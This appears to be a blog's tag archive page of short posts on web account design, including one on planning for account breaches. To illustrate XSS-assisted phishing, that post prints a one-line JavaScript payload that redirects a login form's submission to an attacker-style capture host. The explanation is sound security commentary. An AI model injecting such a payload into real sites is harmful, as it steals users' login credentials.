Fixing the Google Account problem

2010-01-25T11:21:34+00:00

3,000+ words explaining how to open a Google Doc invitation sent to an e-mail address that isn’t associated with your Google account. Worth reading just to get an idea for the enormous complexity involved in running a large scale identity system and designing an interface for managing aliases and multiple profiles. Google haven’t got it right yet—has anyone else?

Tags: accounts, drummondreed, gmail, google, identity, usability

"Recover my account" link on the login page

2009-02-16T22:22:27+00:00

"Recover my account" link on the login page

For the record, collecting and verifying e-mail addresses is a VERY good idea, even (especially?) if you accept OpenID. A verified e-mail address is still absolutely the best way to deal with lost passwords or “my OpenID isn’t working”.

Tags: accounts, email, identity, openid

Designing for a security breach

2007-09-30T21:29:32+00:00

User account breaches are inevitable. We should take that in to account when designing our applications.

My work with OpenID has lead me to think a lot harder about account security in general. Staying secure on the Web is surprisingly difficult, even for experienced internet users - which means the mainstream public are in a whole heap of trouble.

Phishing is incredibly effective; the vast majority of people can't tell the difference between a phished version of a site and a real one, and applications don't help the situation by sending dozens of e-mails encouraging people to sign in or serving their legitimate login page on unrecognisable domains. Even worse, many social networking sites actively encourage bad security habits by asking users for their webmail username and password in order to scrape their address book for contacts.

CSRF and XSS attacks (the latter which opens up the former even in the few sites that have CSRF protection) are everywhere, and make phishing for user passwords even easier. If you can inject the following XSS attack in to a login page all bets are off:

document.forms[0].action='http://hax0r.example.com/capture.cgi'

Your application may be perfectly secure, but if one of your users uses the same username and password on a less secure application that gets cracked or XSSd their account on your service can be compromised as well.

Most worrying of all is the way most user's entire online identities are attached to a single webmail account. People often criticise OpenID for putting all of a user's eggs in one basket, but don't realise that for most people their e-mail already serves that purpose. Steal my mail account and you can use forgotten password requests to steal everything else. Here's a nasty recent example of that happening with a Gmail account.

(This is why I'm excited to see OpenID providers moving towards more secure methods of authentication such as client-side SSL certificates and two-factor authentication with a physical token. Users can afford to have a stronger relationship with their OpenID provider than the other sites they sign in to. It would be nice to see the same authentication measures made available for popular webmail systems.)

If your web application hosts any valuable information at all, it's prudent to expect that some significant proportion of your users will eventually have their accounts hijacked.

This introduces some interesting design challenges. If we expect that at least some of our users' accounts will be compromised, what can we do to minimise the damage that an attacker can cause?

Online privacy campaigners frequently call for data and account deletion to be irreversible, but paradoxically this makes for even more trouble if an account is hijacked. Maybe applications should experiment with "root" level passwords that must be entered to make irreversible changes to an account (emptying the trash can for example). Of course, that just makes the whole password problem twice as bad.

I don't have any answers, but I'd love to see some discussion about this. Are there any best practices that have already emerged in this area?

Tags: accounts, csrf, designingforabreach, openid, phishing, privacy, security, xss

hasAccount

2007-09-28T09:10:56+00:00

hasAccount

Stuart proposes a light-weight API for letting any site know if a user has an account (and is signed in) on another service. I wouldn’t want to deploy this without being confident that my CSRF protection was in order.

Tags: accounts, api, crossdomain, csrf, json, stuart-langridge

Simon Willison's Weblog: accounts

Fixing the Google Account problem

"Recover my account" link on the login page

Designing for a security breach

hasAccount